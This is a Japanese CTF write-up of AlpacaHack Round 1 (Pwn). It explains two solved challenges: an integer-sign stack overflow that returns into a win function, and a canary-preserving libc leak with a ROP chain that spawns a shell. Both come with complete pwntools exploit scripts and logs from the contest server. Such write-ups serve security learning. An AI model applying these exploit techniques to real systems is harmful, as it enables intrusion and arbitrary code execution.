AlpacaHack Round 1 (Pwn)へ参加しました。そのwrite-up記事です。
コンテスト概要
2024/08/18(日) 12:00 +09:00 - 08/18(日) 18:00 +09:00
の6時間開催でした。ほかルールはコンテストページから引用します:
AlpacaHack Round 1 (Pwn) へようこそ! AlpacaHack は個人戦のCTFを継続して開催する新しいプラットフォームです。 AlpacaHack Round 1 は AlpacaHack で行われる最初の CTF で、Pwn カテゴリから 4 問が出題されます。 問題は warmup、easy、medium および hard 等の難易度がつけられており、初心者を含め様々なレベルの方に楽しんでいただけるようになっています。 これらの問題は ptr-yudai 氏によって作成されました! 参加方法 1. 右上の「Sign Up」ボタンから AlpacaHack のユーザー登録をしてください。 2. 登録完了後、このページの「Register」ボタンを押して CTF の参加登録をしてください。 注意事項 - AlpacaHack は個人戦のCTFプラットフォームであるため、チームでの登録は禁止しています。 - 問題の配点は解いた人数に応じて変動します。 - 全てのアナウンスは AlpacaHack の Discord サーバー で行われます。 - アナウンスは本サービス上でも行うことがありますが、Discord サーバーが主な連絡手段となります。 - 問題が発生した場合、#ticket チャンネルから連絡してください。ただし、問題のヒントは提供しません。 - 競技システム自体への攻撃は行わないでください。なお、偶然発見したバグの報告は歓迎します。
結果
正の得点を得ている57人中、308点で17位でした:
また、Certificate箇所から順位の証明書も表示できます:
環境
WindowsのWSL2(Ubuntu 24.04)を使って取り組みました。
Windows
c:\>ver Microsoft Windows [Version 10.0.19045.4780] c:\>wsl -l -v NAME STATE VERSION * Ubuntu-24.04 Running 2 docker-desktop-data Running 2 kali-linux Stopped 2 docker-desktop Running 2 Ubuntu-22.04 Running 2 c:\>
他ソフト
- IDA Free Version 8.4.240527 Windows x64 (64-bit address size)(Free版IDAでもversion 7頃からx64バイナリを、version 8.2からはx86バイナリもクラウドベースの逆コンパイルができます)
WSL2(Ubuntu 24.04)
$ cat /proc/version Linux version 5.15.153.1-microsoft-standard-WSL2 (root@941d701f84f1) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP Fri Mar 29 23:14:13 UTC 2024 $ cat /etc/os-release PRETTY_NAME="Ubuntu 24.04 LTS" NAME="Ubuntu" VERSION_ID="24.04" VERSION="24.04 LTS (Noble Numbat)" VERSION_CODENAME=noble ID=ubuntu ID_LIKE=debian HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" UBUNTU_CODENAME=noble LOGO=ubuntu-logo $ python3 --version Python 3.12.3 $ python3 -m pip show pip | grep Version: Version: 24.0 $ python3 -m pip show pwntools | grep Version: Version: 4.13.0 $ g++ --version g++ (Ubuntu 13.2.0-23ubuntu4) 13.2.0 Copyright (C) 2023 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. $ gdb --version GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git Copyright (C) 2024 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. $ gdb --batch --eval-command 'version' | grep 'Pwndbg:' Pwndbg: 2024.02.14 build: 2b9beef $ pwninit --version pwninit 3.3.1 $ ROPgadget --version Version: ROPgadget v7.3 Author: Jonathan Salwan Author page: https://twitter.com/JonathanSalwan Project page: http://shell-storm.org/project/ROPgadget/ $ docker --version Docker version 27.1.1, build 6312585 $
解けた問題
なおAlpacaHackでは、コンテスト終了後でもChallenge Archiveから過去問題へフラグを提出できます。そのため本記事でフラグそのものを書いていいものか迷っていましたが、運営者の方からフラグを公開していいとのお返事を頂いたため、記述します。
[Pwn, Warmup] echo (56 solves, 129 points)
A service for reachability check.
配布ファイルとして、問題本体のecho
と、元ソースのmain.c
などがありました:
$ file * Dockerfile: ASCII text compose.yml: ASCII text echo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8ba77f67086a988184093fcca44fab09c7c87981, for GNU/Linux 3.2.0, not stripped main.c: C source, ASCII text $ pwn checksec echo [*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_1_Pwn/echo/echo' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No $
main.c
は次の内容でした:
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define BUF_SIZE 0x100 /* Call this function! */ void win() { char *args[] = {"/bin/cat", "/flag.txt", NULL}; execve(args[0], args, NULL); exit(1); } int get_size() { // Input size int size = 0; scanf("%d%*c", &size); // Validate size if ((size = abs(size)) > BUF_SIZE) { puts("[-] Invalid size"); exit(1); } return size; } void get_data(char *buf, unsigned size) { unsigned i; char c; // Input data until newline for (i = 0; i < size; i++) { if (fread(&c, 1, 1, stdin) != 1) break; if (c == '\n') break; buf[i] = c; } buf[i] = '\0'; } void echo() { int size; char buf[BUF_SIZE]; // Input size printf("Size: "); size = get_size(); // Input data printf("Data: "); get_data(buf, size); // Show data printf("Received: %s\n", buf); } int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); echo(); return 0; }
コードを読むと次のことが分かります:
get_size
関数にif ((size = abs(size)) > BUF_SIZE)
という分岐があり、一見すると[0, BUF_SIZE]
の範囲の値のみを指定できそうです。- しかし符号付き整数に2の補数を扱う処理系(昨今ではほとんどの処理系がこれのはず)では、
INT_MIN
の絶対値を表現できません。 - コンテスト中では「愚直実装なら
abs(INT_MIN) == INT_IMN
になるでしょう」と仮定して突撃していました。- なおabs, labs, llabs, imaxabs - cppreference.comによると、
The behavior is undefined if the result cannot be represented by the return type.
とのことです。
- なおabs, labs, llabs, imaxabs - cppreference.comによると、
- 結果として
get_size()
関数の戻り値をINT_MIN
、すなわち-0x80000000
にできます。
- しかし符号付き整数に2の補数を扱う処理系(昨今ではほとんどの処理系がこれのはず)では、
get_data()
関数のsize
引数がunsigned
型であるため、INT_MIN
を指定することで0x80000000
バイトまで入力できるようになり、echo
関数のbuf
ローカル変数に対してスタックバッファーオーバーフローを引き起こせます。- 別に
0x80000000
バイト全部入力しなくても、改行文字を送信すればget_data
関数がそこで書き込みを終えてくれます。
- 別に
- 今回の問題バイナリでは
Stack: No canary found
であるため、スタックバッファーオーバーフローだけで戻りアドレスを改ざんできます。また、PIE: No PIE (0x400000)
であるため、win
関数のアドレスは固定です。 - 全体として、
echo
関数の戻りアドレスをwin
関数へ改ざんしてやることで、フラグを入手できます。 - IDAで
echo
関数が使うローカル変数のレイアウトを調べると、次の構造でした。つまりbuf
の先頭アドレスから268 + 4 + 8
バイト進んだアドレスが、echo
関数の戻りアドレスの格納場所です。
-0000000000000110 buf db 268 dup(?) -0000000000000004 size dd ? +0000000000000000 s db 8 dup(?) +0000000000000008 r db 8 dup(?)
分かったことを利用してソルバーを書きました:
#!/usr/bin/env python3 import pwn pwn.context.binary = "./echo" # pwn.context.log_level = "DEBUG" def solve(io: pwn.tube): addr_win = 0x4011F6 offset = 268 + 4 + 8 payload = b"A" * offset + pwn.pack(addr_win) io.sendlineafter(b"Size: ", str(-(1 << 31)).encode()) io.sendlineafter(b"Data: ", payload) print(io.recvall()) with pwn.remote("198.51.100.1", 17360) as io: solve(io)
実行しました:
$ ./solve.py [*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_1_Pwn/echo/echo' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No [+] Opening connection to 198.51.100.1 on port 17360: Done [+] Receiving all data: Done (351B) [*] Closed connection to 198.51.100.1 port 17360 b'Received: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xf6\x11@\nAlpaca{s1Gn3d_4Nd_uNs1gn3d_s1zEs_c4n_cAu5e_s3ri0us_buGz}\n' $
フラグを入手できました: Alpaca{s1Gn3d_4Nd_uNs1gn3d_s1zEs_c4n_cAu5e_s3ri0us_buGz}
[Pwn, Easy] hexecho (27 solves, 179 points)
Stack canary makes me feel more secure.
配布ファイルとして、問題本体のecho
と、元ソースのmain.c
などがありました:
$ file * Dockerfile: ASCII text compose.yml: ASCII text hexecho: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a7711d078295336be30a0cc68fa8889ce42d89d3, for GNU/Linux 3.2.0, not stripped libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=490fef8403240c91833978d494d39e537409b92e, for GNU/Linux 3.2.0, stripped main.c: C source, ASCII text $ pwn checksec hexecho [*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_1_Pwn/hexecho/hexecho' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No $ strings libc.so.6 | grep 'GNU C Library' GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.8) stable release version 2.35. $
main.c
は次の内容でした:
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define BUF_SIZE 0x100 int get_size() { int size = 0; scanf("%d%*c", &size); return size; } void get_hex(char *buf, unsigned size) { for (unsigned i = 0; i < size; i++) scanf("%02hhx", buf + i); } void hexecho() { int size; char buf[BUF_SIZE]; // Input size printf("Size: "); size = get_size(); // Input data printf("Data (hex): "); get_hex(buf, size); // Show data printf("Received: "); for (int i = 0; i < size; i++) printf("%02hhx ", (unsigned char)buf[i]); putchar('\n'); } int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); hexecho(); return 0; }
問題名の通り、Input data
やShow data
はHex表記になっています。また問題説明の通り、Stack Canaryが有効化されています。一方で、get_size
関数では簡単に任意サイズを指定できるようになっています。なお、Dockerfile
に/flag.txt
へフラグを書き込む内容が含まれています。
色々試行錯誤していると、Size
に大きな値を指定して、かつget_hex
関数でx
等の非16進数文字列を入力することで、スタック内容を漏洩できることが分かりました。スタックに含まれるmain
関数の戻りアドレスから、libcのベースアドレスを計算できそうです。一方でスタック内容を漏洩してそのまま終了する状況では特段役に立ちません。
scanf("%02hhx", buf + i);
にx
等を入力すると、その文字は消費されずバッファに残るため、その後すべてのscanf
関数呼び出しが失敗してしまいます。もしも「部分的に文字を消費しつつ、かつscanf
関数呼び出しが失敗する」ような入力が存在すれば、Stack Canaryを維持したまま戻りアドレスを改ざんできそうです。次のコードを書いて実験しました:
#include <stdio.h> int main() { unsigned char x; for(;;) { x = 0x90; scanf("%02hhx", &x); printf("%02hhx\n", x); } return 0; }
実験すると、"+\n"
や"-\n"
を入力として与えることで、部分的にscanf("%02hhx", ...)
関数呼び出しを失敗させられて、元の値を維持できることが分かりました!ちなみに"0x"
を入力に与えると0
になりました。それ有効なんですね。
そういうわけでこれまでに分かったことから、次の解法を取れそうなことが分かりました:
- スタック中の値を漏洩させることで、libcのベースアドレスを取得する。
- Stack Canaryの値はそのままに、
hexecho
関数の戻りアドレスをhexecho
関数自身へ書き換えることで、もう一度スタックバッファーオーバーフローを引き起こせるようにする。 - 2回目の
hexecho
関数のスタックバッファーオーバーフローで、戻りアドレスを改ざんしてROPでシェルを取得する。
残りは、pwninit
コマンドを使ってhexecho
バイナリが配布libcを使うように書き換えたり、ROPgadget --binary libc.so.6 | tee ropgadget_libc.txt
コマンドを使ってROPガジェットを集めたり、デバッガーを使ってひたすらオフセットを調整したりして、シェルを取得するソルバーを書きました:
#!/usr/bin/env python3 import pwn BIN_NAME = "./hexecho_patched" elf = pwn.ELF(BIN_NAME) libc = pwn.ELF("./libc.so.6") pwn.context.binary = elf # pwn.context.log_level = "DEBUG" offset_libc_start_call_main = libc.symbols["__libc_start_call_main"] pwn.info(f"{offset_libc_start_call_main = :08x}") def solve(io: pwn.tube): # 1回目:カナリアの値は維持したまま、戻りアドレスをhexecho自身への改ざんと、libc address leakをする # デバッガーを使いながらひたすら数値を調整していました…… position_canary = 264 - 8 position_ret_addr = position_canary + 16 position_libc_start_call_mainP128 = position_ret_addr + 16 size_1st_payload = position_libc_start_call_mainP128 + 16 addr_hexecho = elf.symbols["hexecho"] addr_ret = 0x401321 payload = bytearray() for _ in range(position_ret_addr): payload.extend(b"-\n") for _ in range(8): payload.extend(b"-\n") for b in pwn.pack(addr_ret): payload.extend(f"{b:02x}".encode()) for b in pwn.pack(addr_hexecho): payload.extend(f"{b:02x}".encode()) for _ in range(8): payload.extend(b"-\n") io.sendlineafter(b"Size: ", str(size_1st_payload).encode()) io.sendlineafter(b"Data (hex): ", payload) io.recvuntil(b"Received: ") line = io.recvline() addr_libc_start_call_mainP128 = pwn.unpack( bytes(map(lambda x: int(x, 16), line.rstrip(b" \n").split(b" ")))[-8:] ) pwn.info(f"{addr_libc_start_call_mainP128 = :08x}") libc.address = addr_libc_start_call_mainP128 - (offset_libc_start_call_main + 128) pwn.info(f"{libc.address = :08x}") assert (libc.address & 0xFFF) == 0 rop_pop_rdi = libc.address + 0x2A3E5 # 0x000000000002a3e5 : pop rdi ; ret addr_bin_sh = next(libc.search(b"/bin/sh\x00")) addr_system = libc.symbols["system"] payload = bytearray() for _ in range(position_ret_addr): payload.extend(b"-\n") for _ in range(8): payload.extend(b"-\n") for b in pwn.pack(rop_pop_rdi): payload.extend(f"{b:02x}".encode()) for b in pwn.pack(addr_bin_sh): payload.extend(f"{b:02x}".encode()) for b in pwn.pack(addr_ret): payload.extend(f"{b:02x}".encode()) # スタックの16バイトアライメント調整用 for b in pwn.pack(addr_system): payload.extend(f"{b:02x}".encode()) io.sendlineafter(b"Size: ", str(size_1st_payload + 8).encode()) io.sendlineafter(b"Data (hex): ", payload) io.recvline_contains(b"Received: ") io.interactive() # with pwn.remote("localhost", 5000) as io: # solve(io) with pwn.remote("198.51.100.1", 51786) as io: solve(io) COMMAND = """ # hexdumpのcanaryチェック箇所 b *0x401310 continue """ # with pwn.gdb.debug(BIN_NAME, COMMAND) as io: # solve(io)
実行しました:
$ ./solve.py [*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_1_Pwn/hexecho/hexecho_patched' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3fe000) RUNPATH: b'.' SHSTK: Enabled IBT: Enabled Stripped: No [*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_1_Pwn/hexecho/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No Debuginfo: Yes [*] offset_libc_start_call_main = 00029d10 [+] Opening connection to 198.51.100.1 on port 51786: Done [*] addr_libc_start_call_mainP128 = 7ff66006ad90 [*] libc.address = 7ff660041000 [*] Switching to interactive mode $ id uid=1000 gid=1000 groups=1000 $ cat /flag.txt Alpaca{4Lw4y5_cH3cK_1f_a_fuNc71on_f4iL3d} $ [*] Closed connection to 198.51.100.1 port 51786 $
フラグを入手できました: Alpaca{4Lw4y5_cH3cK_1f_a_fuNc71on_f4iL3d}
感想
- Easy問題でも歯ごたえたっぷりでした!
- 残る2問は全然分かりませんでした。とはいえ開催期間が短いおかげで、とりあえず少しだけでも考えてみようという気分になれるのが良かったです。
- コンテスト直前にpwntoolsを4.12.0から4.13.0へバージョンアップしたからか、
pwn checksec
コマンドの出力内容が増えていて驚きました。おそらく Add x86 CET status to checksec output by peace-maker · Pull Request #2293 · Gallopsled/pwntools によるものです。